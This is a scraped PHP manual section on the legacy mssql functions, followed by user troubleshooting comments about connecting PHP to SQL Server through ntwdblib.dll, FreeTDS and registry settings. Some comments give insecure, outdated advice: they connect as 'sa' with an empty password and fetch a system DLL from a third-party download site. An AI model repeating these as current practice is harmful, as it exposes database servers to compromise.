I am trying to connect to SQL Server 2000 from PHP
I bumped to following warning:
Warning: mssql_connect(): Unable to connect to server: SERVER\Portal
....... on line 5

on line 5 there is:
$db_connect = mssql_connect('SERVER\Portal', 'sa', 'my_passwd');

I did the following
1.enabled php_mssql.dll extension in PHP.ini
2.every dll is in proper place(System32 or PHP folder),including ntwdblib.dll

I search lots of profile throught web ,but no one give me proper answer to resolve it.

after a few hour ,I found the problem was caused by
ntwdblib.dll ,which version is 7.00.839 ,when I replaced old ntwdblib.dll with the new ntwdblib.dll ,which version is 8.00.194 ,all problem are solved.
cmeerbeek[at]ymor[.]nl
13-May-2005 04:32
We had some, read A LOT, of problems with MSSQL under Windows 2003.
We had 2 the same windows, php, php-ini, everything machines but only one could connect. Unable to connect was the error message.

Finnaly we checked the version of ntwdblib.dll and the one distributed with PHP was 7.00.... and the version of the one on the SQL Server install was 8.00.... so we copied this one in the php and apache dir and it worked.
diegobandeira at ibest dot com dot br
08-Apr-2005 11:42
Hello!

This code appears work fine and fast to me, like mysql or msaccess.
The server is working for an Intranet home page.

<?php
  $db = new COM("ADODB.Connection");
  $dsn = "Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Initial Catalog=tsos;Data Source=(local);Application Name=SellCar";
  $db->Open($dsn);
  $rs = $db->Execute("SELECT * FROM states order by name asc");

  while (!$rs->EOF)
  {
     echo $rs->Fields['name']->Value."<BR>";
     $rs->MoveNext();
  }
?>

Diego Bandeira.
boonkit at gmail dot com
29-Mar-2005 05:29
If you are having problems with freeTDS when trying to get access to unicode data from mssql, set 'tds version =7.0' at etc/freetds.conf
tony
23-Mar-2005 11:51
With PHP 5 on a Windows 2000/IIS platform:

I have integrated authentication enabled in IIS.  I kept getting CGI timeouts on PHP pages for everyone but local administrators of the box.  The event log showed that PHP could not load php_mssql.dll, php_oci8.dll, and php_oracle.dll - 'Access Denied.'

These extensions were executable by everyone, but the DLLs they depend on were not.  Had to add exec permissions for everyone to c:\winnt\system32\ntwdblib.dll as well as the oracle bin directory.
marcel at fluidleb dot com
31-Jan-2005 02:24
I've spent the last three days wild guessing why I could not connect to MS SQLServer 2000 and so I hope this might help someone else. Microsoft has purposefully closed the 1433 tcp port and others (maybe only to external ips) of the server. You can easily check if this is the case by looking at the Event Monitor. You should see an error produced by MSSQL SERVER/MSDE that basically says what I said. It suggests downloading and installing a security patch to open up the ports (but doesn't even say which update - remember this is Microsoft).

Do download Service Pack 3a (SP3a). It does indeed fix the problem.
Salman Majid
26-Jan-2005 01:36
Sorry, previous message was incomplete. I used odbc functions to connect to Ms-SQL server. I was on a work station and server was not accessible for unknow reasons. mssql functions did not work there so I had to use odbc.
Salman Majid
26-Jan-2005 01:15
I was having problem in connecting Ms-SQL server with mssql_connect(srvr,uid,pwd). I simply created a DSN to my Database and replaced it with "server_name". i.e.

mssql_connect(dsn,uid,pwd);

it worked well
craig at _NO_SPAM_deconstructor dot net
14-Jan-2005 04:22
Just a quick note pertaining marcos1979ar (10/06/04) definitive installation of FreeTDS above.

When you run the following to test the installation:
===============================================================
/usr/local/freetds/bin/tsql -S <ip of the server> -U <User SQL>
===============================================================

And it results in the following error:
=================================================================
locale is "C"
locale charset is "ANSI_X3.4-1968"
Password:
src/tds/login.c: tds_connect: xx.xx.x.xx:1443: Connection refused
Msg 20009, Level 9, State 0, Server OpenClient, Line 0
Server is unavailable or does not exist.
There was a problem connecting to the server
=================================================================

All I found that needed to be changed was for the configure --prefix from:

=======================================
./configure --prefix=/usr/local/freetds
=======================================
         to
=======================================
./configure --prefix=/usr/local
=======================================

Small but worth noting.
hbinduni at hslprpol dot com
20-Dec-2004 04:15
i found http://odbtp.sourceforge.net working fast, easy to use and to configure, and yes, it's multiplatform.
marc at NOSPAM dot durdin dot net
19-Nov-2004 12:19
Buried away in the mssql_field_length documentation is an important limitation that it is certainly worth knowing about *BEFORE* you do any database design:

Note to Win32 Users: Due to a limitation in the underlying API used by PHP (MS DbLib C API), the length of VARCHAR fields is limited to 255. If you need to store more data, use a TEXT field instead.

SQL Server natively supports VARCHAR up to 8000 characters.  Note that TEXT fields have substantially poorer performance (and are much more limited) than VARCHAR so you may want to design your databases accordingly...

You can also work around this limitation with the following:

   -- for example, with MyVarCharField VARCHAR(1000)
   SELECT CAST(MyVarCharField AS TEXT) FROM MyTable
ASWL
28-Oct-2004 08:55
This note is for mssql under a Windows environment.

If you are having problems connecting to MS SQL using the mssql PHP extension then I would suggest that you get a copy of the latest NTWDBLIB.DLL. Copy it to the directory where PHP expects to find it's dll files.

I had an issuse whereby I was unable to connect to a MS SQL Cluster and this resolved my problem.
Dimitri Tarassenko (mitka at mitka.us)
25-Oct-2004 03:37
To enable MS SQL functions in PHP on Fedora Core or RHEL3 without recompiling PHP and replacing the distribution PHP packages, download and install php-mssql and freetds RPMS from

http://phprpms.sf.net/mssql
effeese at gmail dot com
15-Oct-2004 09:28
in relation to the "unicode problem" mentioned by andrej at dairyweb dot com dot au I suggest use andrew at power-grid dot com's solution:

if you get a "Unicode data in Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier" error you can use this kind of code (in an MS environment, of course):
<?
$db = new COM("ADODB.Connection");
$dsn = "DRIVER={SQL Server}; SERVER={SERVER};UID={USER};PWD={PASS}; DATABASE={DB}";
$db->Open($dsn);
$rs = $db->Execute("SELECT * FROM table");

while (!$rs->EOF)
{
   echo $rs->Fields['column']->Value."<BR>";
   $rs->MoveNext();
}
?>

hope it helps.
mworku at yahoo dot com
03-Oct-2004 12:49
If you want to utilize the freetds.conf file db parameters within
mssql_connect() function

<?
   putenv('FREETDSCONF=/etc/freetds.conf');

     /*
       mssql_connect('MSSQL_8.0' , 'user' , 'pwd');
       ....
       ....
   */
?>

FreeTDS conf file

 [MSSQL_8.0]
   host = 10.254.254.10
   port = 1433
   tds version = 8.0
08-Aug-2004 06:11
For phpBB if you are having a problem with user cannot connect to database I found that gentiboard's comments were the answer.

You have to change sql secure connection to on in php.ini
marcos1979ar at yahoo dot com dot ar
11-Jun-2004 06:07
Red Hat 9.0  Freetds 0.62.3  Apache 2.0.49  PHP 5.0.ORC3

Instucction, that premit connect a server Linux with a server Windows 2000 Server with SQL Server.

INSTALLING FREETDS

1-.  Download freetds -> www.freetds.org
2-.  tar -zxvf freetds-stable-tgz
3-.  cd freetds-0.62.3
4-.  ./configure --prefix=/usr/local/freetds --with-tdsver=8.0 --enable-msdblib --enable-dbmfix --with-gnu-ld

Note:  tdsver=8.0 if you use SQL 2000, tdsver=7.0 if you use SQL 7.0

5-.  make
6-.  make install
7-.  /usr/local/freetds/bin/tsql -S <ip of the server> -U <User SQL>

Note: For default User SQL is    sa    and the it have not password
For example: /usr/local/freetds/bin/tsql -S 198.168.100.2 -U sa

8-.  Add the next text in freetds.conf ( /usr/local/freetds/etc )
[TDS]
host = <ip of the Server with Sql>
port = 1433
tds version = 8.0

Note: If you use SQL 2000 then tds version = 8.0
if you use SQL 7.0 then tds version = 7.0

9-.  Add the next text in the file /etc/ld.so.conf
/usr/local/freetds/lib

INSTALLING  APACHE

1-.  Download apache  www.apache.org
2-.  tar -zxvf httpd-2.0.49.tar.gz
3-.  cd httpd-2.0.49
4-.  ./configure --prefix=/etc/httpd --enable-so
5-.  make
6-.  make install
7-.  Configure the file  -> httpd.conf ( /etc/httpd/conf/httpd.conf )
8-.  Probe the apache: /etc/httpd/bin/apachectl start
/etc/httpd/bin/apachectl stop

INSTALLING  PHP

1-.  Download the PHP in this site (www.php.net)
2-.  tar -zxvf php-5.0-ORC3.tar.gz
3-.  cd php-5.0-ORC3
4-.  ./configure --with-apxs2=/etc/httpd/bin/apxs --enable-versioning --with-mssql=/usr/local/freetds --disable-libxml
5-.  make
6-.  make install
7-.  cp php.ini-DIST /usr/local/lib
8-.  Add the next line in /etc/httpd/conf/httpd.conf
AddType application/x-httpd-php .php

TESTING

<html>
<body>
<?php
$con = mssql_connect ("<ip of the server SQL>", "sa", "");
mssql_select_db ("<Data Base>", $con);
$sql= "SELECT * FROM <Table>";
$rs= mssql_query ($sql, $con);
echo "The field number one is: ";
echo mssql_result ($rs, 0, 0);
mssql_close ($con);
?>
</body>
</html>
Asad Moin
29-May-2004 10:48
I took the following steps to make PHP talk to SQL2000:

- Copy ntwdblib.dll file from your SQL server's  \winnt\system32 folder to the \winnt\system32 folder on the PHP box.

- Copy the php_mssql.dll from the 'dlls/' directory in distribution package to your windows/system (Win9.x) or winnt/system32 (WinNT, Win2000, XP) directory.

- Add or uncomment the following line under Windows Extentions in your php.ini file (\winnt\php.ini): extension=php_mssql.dll

Hope that helps.
andrew at power-grid dot com
27-May-2004 03:11
Ok, this took me a few days to get right but for those of you out there having a hard time with getting PHP to talk to SQL 2000 this is for you!  Personally for me the mssql plugin barely worked with sql 2000 and was VERY slow, here's your solution and also some good code to connect securely and quickly through ADO. I was having the worst time getting ADO to work as well, most sites do the driver part a different way.. for me the code below is the only thing that worked.
<?
$db = new COM("ADODB.Connection");
$dsn = "DRIVER={SQL Server}; SERVER={SERVER};UID={USER};PWD={PASS}; DATABASE={DB}";
$db->Open($dsn);
$rs = $db->Execute("SELECT * FROM table");

while (!$rs->EOF)
{
   echo $rs->Fields['column']->Value."<BR>";
   $rs->MoveNext();
}
?>
Arthur W Rudd
27-May-2004 02:37
I'm running apache 1.3.26 and php 4.3.6 on a linux server (debian), and connecting to SQL Server 2000 via php4-mssql and Freetds.

I managed to get a connection to the SQL server, but found that when I used the function mssql_query() to pass in a Select statement containing datetime columns, I would get the following message in Internet Explorer - "The page cannot be displayed".  When I removed the datetime column from the query, it worked fine, and returned a resultset.
Looked in the apache error.log file, and found the error "child pid xxxxxx exit signal segmentation fault".

After a lot of searching on the internet I stumbled upon an entry which was missing from my php.ini.  I added the line "mssql.datetimeconvert = Off" to the MSSQL section of pphp.ini, restarted Apache, and the problem went away.  Now I can select dates in SQL queries
jasenko at get2net dot dk
06-May-2004 02:46
If you get a crash trying to get currency from database with smallmoney datatype and big value (in my case it was 15000..), change datatype to money instead. The error is gone.

I'm using php 4.2.3 and MSSQL 7.0 on windows.
andrej at dairyweb dot com dot au
28-Apr-2004 04:49
if you are having problems with freeTDS, or like me you are trying to get access to unicode data from mssql.

try http://odbtp.sourceforge.net it is cross platform and (reportedly) faster than freeTDS. it is very stable and easy to configure.

i was originally trying to solve an error message of "Unicode data in Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier" and found this solution.

hope it helps someone.
elmer at web-axis dot net
28-Apr-2004 12:52
Here's something that could save you 2-3 days research trying to figure out:

<?php
putenv('TDSDUMP=/tmp/tds.log');
putenv('SYBASE=/usr/lib/freetds');
putenv('TDSVER=70');
?>

If you have problems getting the mssql functions to work try these varibles. MSSQL/PHP has problems dealing with different tds versions. 7.0 seems to work well with our server version, maybe a different version would work better with yours.
pmfa at versenet dot com
28-Apr-2004 12:26
If you're going to use freeTDS just to access mssql databases, supply the "--enable-msdblib" switch to the freeTDS configure script when building the library. This will fix some obscure problems, like the month in a date not being displayed correctly, more information in http://www.freetds.org/userguide/config.htm.
gentiboard2002 at yahoo dot de
19-Apr-2004 09:55
there's no documentation of the php.ini option mssql.secure_connection.

so i have here a MS SQL 2000 Server with Windows Authentication and a Windows 2003 Server with IIS 6. So it is clear that i cannot use the usual handling of a mssql_connect.
I turned the mssql.secure_connection on.
I let the Windows IIS to run under an Service Account(normal user account without any special rights) in a Windows Domain, so i do have a authenticated connection to the SQL Server...

Everything works fine without any rewrite of the code...
19-Mar-2004 04:42
Note: DBLib is obsolete and only supports SQL Server 4.x, 6.5, 7.0 and 8.x.
jholland at cs dot selu dot edu
11-Dec-2003 05:37
To enable mssql in php 4.3.3 and above on linux/unix boxes, you must put this line in php.ini

extension=mssql.so
add a note add a note

后退 | 起点 | 前进
PDO_DBLIB DSN | 上一级 | mssql_bind


mssql_bind

(PHP 4 >= 4.1.0, PHP 5)

mssql_bind -- Adds a parameter to a stored procedure or a remote stored procedure

Description

bool mssql_bind ( resource stmt, string param_name, mixed &var, int type [, int is_output [, int is_null [, int maxlen]]] )

警告

本函数暂无文档，仅有参数列表。

See also mssql_execute(),
mssql_free_statement(), and
mssql_init().

add a note add a note User Contributed Notes
tim at howarth dot uk dot com
18-Apr-2005 06:47
The behavior appears to be different on windows (using
dbnetlib) and linux (using freetds)

On windows, one could miss out the optional parameters.
On linux, the optional parameters aparently need to be
 supplied (or at least I got spurious errors)
 which stopped when I added them!

I was using XAMPP (which gives me apache, php5, and
 freetds in one easy shot!) on FC3.

Code example:

$cn = mssql_connect($DBSERVER, $DBUSER, $DBPASS);

mssql_select_db($DB,$cn);

$sp=mssql_init("WDumpAdd"); // stored proc name

mssql_bind($sp, "@productname",
stripslashes($newproduct),
SQLVARCHAR,FALSE,FALSE,150);

mssql_bind($sp, "@quantity",
stripslashes($newquantity),
SQLVARCHAR,FALSE,FALSE,50);

mssql_execute($sp) or die("could not perform insert");

mssql_close($cn);

hope this helps

Tim
Anonymous
14-Jan-2005 11:57
You do not have to use mssql_query to pass parameters longer than 255 characters to a stored proc.  All you have to do is define the "type" of the field to be SQLTEXT.
matt at austincc dot edu
09-Apr-2003 08:27
two things to keep in mind if you are having trouble binding output parameters:

1) you need to pass your php variable by reference. mssql_bind($stmt, "@outParam", &$outParam, true)

2) php-4.3.1-win32 had a binding bug and output parameters do not bind. 4.1 and 4.3.2rc1 do not have the bug. I have not tested other versions.
fjortizATcomunetDOTes
26-Dec-2001 09:18
After creating a statement resource with
mssql_init, you can bind all the
parameters. These are the arguments:

- stmt: statement resource obtained with
mssql_init
- param_name: string with the parameter
name. YOU HAVE TO INCLUDE the @
character, like the T-SQL syntax. See
the full example that I'll include in
mssql_execute explanation.
- var: this is the PHP variable you'll
bind the MSSQL parameter to. You can
pass it BY VALUE, but you can also pass
it BY REFERENCE (&var), to retrieve
OUTPUT and RETVAL values after procedure
execution.
The return value (a long integer value)
is treated like a special OUTPUT
parameter, called "RETVAL" (without the
@). See the example at mssql_execute to
see how it works.
- type: one of this new supported
PHP constants.
SQLTEXT, SQLVARCHAR,SQLCHAR,
SQLINT1,SQLINT2, SQLINT4,
SQLBIT,SQLFLT8

See notes on bottom of this contribution
for the tricks, quirks and DB-lib bugs
related to the types.

- is_output: boolean value to say
whether the value is an OUTPUT parameter
or not. If it's an OUTPUT parameter but
you say nothing or FALSE, it will be
treated as a normal input parameter
and no error will be yielded.

- is_null: to say the parameter is NULL.
Don't pass an empty PHP variable to
achieve this, it won't work. Use this boolean value.

- maxlen: used with char/varchar values. You have to indicate the length of the data so if the parameter is a
varchar(50), the type must be SQLVARCHAR
and maxlen must be 50.

Bugs in MSSQL DB-lib, quirks, etc...

- You can't modify and get a "char(n)
OUTPUT" parameter. I tried from "Query
Analyzer" and I get the same results.
There must be a bug in MSSQL client
libs.

You can get output from a varchar(n),
though.

- The only float type needed for
"float","double" and "decimal(n,m)"
parameters is SQLFLT8, I don't know why
but SQLFTL4 and SQLFLTN don't work
properly for OUTPUT parameters.

- There is a bug in MSSQL Client
Libraries that avoid sending varchar
parameters for more than 255 characters
to a stored procedure.
Use mssql_query instead.
add a note add a note

后退 | 起点 | 前进
Microsoft SQL Server Functions | 上一级 | mssql_close


mssql_close

(PHP 3, PHP 4, PHP 5)

mssql_close -- Close MS SQL Server connection

Description

bool mssql_close ( [resource link_identifier] )

mssql_close() closes the link to a MS SQL Server database that's associated with the specified link identifier. If the link identifier isn't specified, the last opened link is assumed.

如果成功则返回 TRUE，失败则返回 FALSE。

Note that this isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

mssql_close() will not close persistent links generated by mssql_pconnect().

See also mssql_connect(), and mssql_pconnect().

add a note add a note User Contributed Notes
szklarzewicz (at) wp (dot) pl
14-Oct-2005 01:48
Please note that on PHP5 this function dont work correct. You have to call it at last two times to make it work.

example:
<?PHP
$query = mssql_query('SELECT * FROM T1'); // query error, T1 object invand
$query = mssql_fetch_row($query);
print_r($query);

mssql_select_db('DB1', $conn); //db dont exists error

$conn=@mssql_connect('localhost','usr','psw'); //conn success
mssql_select_db('DB1', $conn); //no errors

$query = mssql_query('SELECT * FROM T1'); // no problem, query success
$query = mssql_fetch_row($query);
print_r($query);  // success

echo '<hr>';

mssql_close() or die('failed closing mssql'); // no error!
mssql_select_db('DB2', $conn); //no errors!

$query = mssql_query('SELECT * FROM T2'); // no problem, query success
$query = mssql_fetch_row($query);
print_r($query);  // success

mssql_close() or die('failed closing mssql'); // no error, mssql closed
mssql_select_db('DB2', $conn); //failed, db dont exists

$query = mssql_query('SELECT * FROM T2'); // query error, T2 object invand
$query = mssql_fetch_row($query);
print_r($query);  // failed
?>

so, in fact you have to call mssql_close() two times to shutdown connection..
add a note add a note

后退 | 起点 | 前进
mssql_bind | 上一级 | mssql_connect


mssql_connect

(PHP 3, PHP 4, PHP 5)

mssql_connect -- Open MS SQL server connection

Description

resource mssql_connect ( [string servername [, string username [, string password]]] )

Returns: A MS SQL link identifier on success, or FALSE on error.

mssql_connect() establishes a connection to a MS SQL server. The servername argument has to be a valid servername that is defined in the 'interfaces' file.

In case a second call is made to mssql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling mssql_close().

See also mssql_pconnect(), mssql_close().

add a note add a note User Contributed Notes
Steve H
01-Jun-2006 12:25
To connect to SQL Server 2005 Express on Windows, do it like this:

mssql_connect ('localhost,1433', '[redacted]', '[redacted]');

localhost
localhost\SQLEXPRESS
localhost\1433
localhost:1433

will not work on Windows.

localhost,1433

does work.

YMMV on other OS's; try each.

Also make sure your TCP/IP Properties -> IP Addresses are correct under SQL Server Configuration Manager.
brijeshmathew at yahoo dot com
16-May-2006 03:58
I had problems connecting to MSSQL Server on port 1433 using PHP 5 on Windows 2003 Server.
Whenever i tried to connect to database on a remote/local server, php tried to connect using named pipes, instead of connecting on 1433. If i disable Named pipes on the Server, the connection fails.
As mentioned in one of the posts,from the \\Windows\\system32\\ folder, i copied and old ntwdblib.dll (dated 2000) to the php folder, and overwrote the newer file, dated 2005, that comes with php5 and suddenly, everything starts working. Php connects to MSSQL Database on port 1433 without problems.
ashraf (aat) ametry.com
02-May-2006 04:25
For me the fix was both:
1.Set in the php.ini file
mssql.secure_connection = On
2.Replace the ntwdblib.dll with the one from http://webzila.com/dll/1/ntwdblib.zip (I actually rename the one in system32 to .old and copied the new one in the c:\php folder)
sveta at microbecal dot com
16-Feb-2006 07:19
As described here: http://php.net/manual/en/function.mssql-connect.php#58787 MSSQL Express Edition does not work with ntwdblib.dll bundled with PHP. But if you have not installed MSSQL Server2000, you can find correct ntwdblib.dll here: http://webzila.com/dll/1/ntwdblib.zip or try to find it from main page (http://www.webzila.com) if link is not work.
Charles Lowe
07-Jan-2006 01:11
I found this message in the notes below:

"I spent about a day until get working mssql_connect() function. I tried to connect PHP to MSDE. The solution is Server Network Utility (it is not installed on MSDE + Client tools configuration, only on SQL Server Standard/Enterprise). The necessary file SVRNETCN.EXE exists on the installation disk."

This actually fixed my problem that I was running into on a Windows Server 2003 SP1, IIS 6.0, PHP 4 and MSDE 2000 SP3.  I copied the SVRNETCN.EXE and SVRNETCN.DLL (located on the SQL Server 2000 Standard CD folder at: x86\binn) to the C:\Program Files\Microsoft SQL Server\MSSQL\Binn directory on the SQL server.

I ran the SVRNETCN.EXE from the local folder and "Enabled" the TCP/IP and Named Pipes protocols.  With a quick MSSQLSERVER service restart, everything ran perfectly after that.

Hope this helps.
gwkeeper at eljoy dot xxx
14-Dec-2005 12:03
I'm running PHP 5.x.x on IIS5 + Windows 2000 server and connecting to remote SQL Server 2000 with error : Login failed for user (sa). Reason: Not associated with a trusted SQL Server connection. (severity 14).

I found that even though I had "SQL and Windows Authentication" selected, and mssql.secure_connection = On in php.ini it did not work. It was due to another software instalation.

For me was solution to install SP4 on MS SQL 2000 and it started to work pretty well.
shrockc at inhs dot org
04-Dec-2005 07:52
PHP 4.4.1 - IIS/6.0 - Windows 2K3 SP1 - MSSQL 2K connection problem

mssql_connect() refused to connect on 1 machine (IIS/6.0 on Windows Server 2003SP1), but connected okay on 2 other machines (IIS/6.0 both on Windows 2003).  One of those 2 machines had MS SQL Server 2000SP3 installed, the other did not -- neither had problems connecting to another, different Windows 2003 server running SQL2000 SP3.

I fixed the problem on the broken Windows 2003SP1 server by replacing the bundled ntwdblib.dll in my php installation directory with the version of the .dll that I found in c:\windows\system32 on a system with MS SQL 2000 installed.  I did not copy the .dll to c:\windows\system32 on the Web Server, just to the php install directory.

After capturing the packets going between the web server and the database server on both configurations, I discovered that the broken system was trying to authenticate using SMB; the working configuration was using the MSSQL TDS protocol.  Another consideration might be that in the working configurations, IIS was running as a domain user, while the broken configuration was running under the local IUSR account.
lbowerh at netscape dot net
16-Nov-2005 11:32
The recently released SQL Server 2005 Express will work with MSSQL functions. Here are some caveats:

1) The version of ntwdblib.dll supplied with PHP will not work with Server 2005 (Win32 only). You must use a newer version. The version supplied with SQL Sever 2000 (2000.80.194.0) seems to work well.
2) You must set up mssql_connect to reference the server AND the instance name, eg:
mssql_connect("MyPC\SQLEXPRESS","MyUser","MyPwd");

Although the MSSQL functions work, you might want to consider using the new 'pdo_odbc' (PHP 5.1) with SQL Server 2005 Express for any new code you are writing.
dave at phantomfish dot co dot uk
20-Oct-2005 09:48
I have spent the last 2 days trying to get PHP to connect to MSDE on Windows 2003 Web Edition.

Although initally PHP would connect to the database without a problem, it would then refuse to connect, hitting F5 enough times would eventually connect to the database. As you can imagine this intermittent problem was hard to trace.

I was using PHP 5.0.5 (although 5.0.4 has the same problem) on a Windows 2003 Web Edition SP1 server, and was trying to connect to MSDE Rel A.

Solution:
~~~~~~~~~

Firstly MSDE needed to be installed with the following arguments: SECURITYMODE=SQL DISABLENETWORKPROTOCOLS=0.

Secondly it was necessary to delete ntwdblib.dll from c:\php

Thirdly I downloaded the SQL 2000 evaluation and installed only the client tools on a seperate PC (Ent. Manager will now connect to the database).

Lastly I copied the version of ntwdblib.dll from the PC with Ent. Manager on it (ver 2000.80.2039.0) to c:\windows\system32\

After a re-boot no more connection problems.

Pls note that this is only for 2003 Web Edition with MSDE, this problem does not seem to occour with Standard Edition
mckoin at example dot com
18-Oct-2005 11:58
If you use PHP on Windows with Apache as a web server, you may get problems with authentication to MS SQL Server even when you supply all valid credentials.

Check your php.ini file:
; Use NT authentication when connecting to the server
mssql.secure_connection = On

If you have secure_connection = On, make sure that you provide valid credentials in the properties for Apache service in the System Services box. Then you should not send DB username and password from your script to MSSQL Server.

If you want to use specific credentials from a PHP script, then set mssql.secure_connection = Off in your php.ini
j3d
24-Sep-2005 08:14
After struggling for 6 hours trying to fix the dreaded "Not associated with a trusted SQL Server connection." error I have finally solved it after following the suggestions presented here:
http://support.microsoft.com/default.aspx?scid=kb;en-us;839569

<sarasm> Who would have thought that microsoft's article would be useful </sarcasm>
dale dot liszka at gmail dot com
20-Sep-2005 03:28
If you are trying to use Sybase and MSSQL on the same WIN32 box you will probably have headaches.  There are multiple declaration errors when you enable php_sybase_ct.dll and php_mssql.dll in the php.ini at the same time.

The specific error for all functions starts like this:
PHP Warning: Function registration failed - duplicate name - mssql_connect

There is a way around this! On a windows box I have done this successfully several times.

1. Make a backup copy of php_sybase_ct.dll (never hurts!)
2. Open php_sybase_ct.dll in a HEX editor (fhred is a nice free one http://www.kibria.de/frhed.html )
3. Replace all instances of 'mssql' with 'sysql'.  It doesn't have to be 'sysql', just anything but 'mssql' or 'sybase'.
4. Save the file.  (Alternately you could save as something like php_sybase_ct_modified.dll and cite that in your php.ini)

All the constructs are still declared for the sybase_* functions and now you can use MSSQL and Sybase instead of switching php.ini files, etc.  I have had this work under php 4.3+ and php 5.0.5.

PS. I decided to place this under mssql_connect because its the first error thrown in this case.  I believe it should make the information easier to find via google/search/browsing.
Marcel Laverdet
28-Jul-2005 04:30
I was having problems connecting to a SQL cluster with mssql_connect, but any other program could connect just fine. I ended up using a PHP ADODB driver to work around the connectivity problem I was having. Later, however, I discovered my problem was a mismatched name in the server table.

To see if you have this problem, "SELECT * FROM [master].[sysservers]". If the srvname, and datasource don't match the cluster's virtual SQL name... then you will have a problem. My virtual SQL server's name was 'SQL-SERV', however in the sysservers table it was listed as 'SQLSERV'.

To remedy this problem, simply issue the following queries: "EXECUTE sp_dropserver wrongName" and then "EXECUTE sp_addserver rightName, 'local'". After running these 2 procedures, restart the server and PHP should connect just fine using the native libraries.

If it still doesn't connect, make sure you update the ntwdblib.dll file as explained in prior comments.
Robert at realjax dot com
14-Jun-2005 09:00
A view that worked fine when queried from any other environment was giving me strange results when queried from PHP.  The problem is that the MS SQL database settings are not set to the ANSI defaults as when connecting through Microsoft products.  The setting CONCAT_NULL_YIELDS_NULL defaults to ON when connecting with ODBC or SQL Query Analyzer, which complies with the ANSI standard.  However, this defaults to OFF when connecting through PHP.  There are many other settings which may also need to be explicitly set.
<?php
mssql_query('SET CONCAT_NULL_YIELDS_NULL ON', $hd);
?>
pelanne at gmail dot com
07-Jun-2005 10:18
Just in case it helps people here...  We were being run ragged by extremely slow connections from IIS6 --> SQL Server 2000.  Switching from CGI to ISAPI fixed it somewhat, but the initial connection still took along the lines of 10 seconds, and eventually the connections wouldn't work any more.

The solution was to add the database server IP address to the HOST file on the server, pointing it to the internal machine name.  Looks like some kind of DNS lookup was the culprit.

Now connections and queries are flying, and the world is once again right.
jack dot rauta at tiscali dot dk
06-Jun-2005 07:30
I couldn't connect to a remote MSSQL database using Windows Server 2003, IIS 6, PHP 5 and mssql_connect. It worked with odbc_connect and with DSN-less connection through ADODB COM object.

The solution was to change a registry entry, as follows:
1) Open regedit.exe
2) Browse to the key named HKEY_LOCAL_MACHINE\\SOFTWARE \\Microsoft\\MSSQLServer\\Client\\ConnectTo
3) There should be one or more keys in the format "SERVER" = "LIBRARY,SERVER,PORT"
   where SERVER is a NetBIOS name, Named Pipe alias or the server's IP address, and PORT is usually 1433.
4) If LIBRARY is set to DBMSSOCN, try changing it to DBNETLIB. That worked for me.
5) Restart IIS
RiderGian
30-May-2005 08:48
Yes!!!
It seams that the ntwdblib.dll shipped with PHP 5.0.3 is outdated. I've copied the ntwdblib.dll from the C:\winnt\system32 to the c:\php and everything start working.

By the way, the dll version i'm using is  2000.80.194.0

cheers

Gian
bass28
18-May-2005 03:47
When connecting to a SQL 2000 DB from an Apache/PHP setup on a Windows box you must connect using a SQL user login (type=standard).  If you add Windows users or groups to SQL security logins and try connecting using that login the connection will fail.  If the connection works for SA but not for your login, this may be your answer (it was for me!).
ta_bg at NOSPAM dot mail dot ru
26-Apr-2005 04:48
I spent about a day until get working mssql_connect() function. I tried to connect PHP to MSDE. The solution is Server Network Utility (it is not installed on MSDE + Client tools configuration, only on SQL Server Standard/Enterprise). The necessary file SVRNETCN.EXE exists on the installation disk.
kryltsov at yahoo dot com
11-Apr-2005 04:33
If you connect to MSSQL and  get error 515 (INSERT NULL INTO NOT NULL VALUE).
Execute following statement after connection to DB.
"set ANSI_NULL_DFLT_ON ON". There are lots of code arround where SP creates, for example, temp tables. There is no specification 'NOT NULL' on columns. Many people beleive that it means that nulls will be allowed.
After 5 days of debugging one of the software monsters SQL code I found that PHP connects to MSSQL (at least on my server) without setting "ANSI_NULL_DFLT_ON" which caused SP fired by insert trigger failed with 515 error because temp tables had been created with all columns 'NOT NULL'.
QA and from ASP everything was working just fine.

After I set ANSI_NULL_DFLT_ON to ON. Everything started working fine.
Hope it wil help.
yurtesen at ispro dot net dot tr
28-Mar-2005 11:21
If you are using FreeBSD you shouldnt forget to copy freetds.conf.dist to freetds.conf and edit. Otherwise you will get:
PHP Warning:  mssql_connect(): Unable to connect to server:  BLAH in
nospam_bg at pumkinhed dot com
10-Mar-2005 11:17
On freebsd I edited the Makefile in /usr/ports/lang/php5 and added  --with-mssql=/usr/local to the CONFIGURE_ARGS= section (ensure to put a \ in front of the previous line), then it will use tds.h correctly....  hth
senyahnoj
08-Feb-2005 06:09
When moving the following script from PHP on Win32 to PHP on Linux, I encountered problems:

$c = mssql_connect("SERVER\INSTANCE","UID","PWD");

After much searching, I discovered that 'instances' are just named aliases for port numbers, so on Linux this should be written:

$c = mssql_connect("SERVER:PORT","UID","PWD");

Please also note that the colon (:) should be used on Linux as the delimiter between servername and port number, not the comma (,) which only works on Win32 servers.
Ilmars Poikans
29-Jan-2005 03:08
Connecting to MS SQL server over TCP/IP.

I'm working on Windows XP with PHP5 (should work with PHP4 also because ntwdblib.dll is the same).

My problem was that I needed to connect to remote MS SQL server over TCP/IP (named pipes weren't an option), but I couldn't, because named pipes were used all the time.

One of the possible solutions is to install SQL Client Tools and configure TCP/IP support. I hadn't SQL Server installation disk, so I found fast solution with registry editing.

I added to registry following entry:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ MSSQLServer\Client\ConnectTo] (strip space)
"DSQUERY"="DBNETLIB"

It worked! Just specify servername in form "host" or "host,port". I successfully connected to remote MSSQL7 and MSSQL2000.

I have found on Internet alternative solution that you need to add "DSQUERY"="DBMSSOCN", but it didn't work for me.

If you need more connection tweaking like

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ MSSQLServer\Client\DB-Lib] (strip space)
"AutoAnsiToOem"="ON"
"UseIntlSettings"="ON"

and more, then better find and install SQL Client Tools.
caleog at oeg dot vic dot edu dot au
24-Jan-2005 09:19
Named Pipes vs TCP/IP
i have a setup where the 'net server (using PHP) talks to a different db server (which has SQL Server).
Named Pipes seems to be the faster of the two protocols.
The 'net server needs to use the Client Network Utility (usually c\windows\system32\cliconfg.exe) - it is the client in this case.
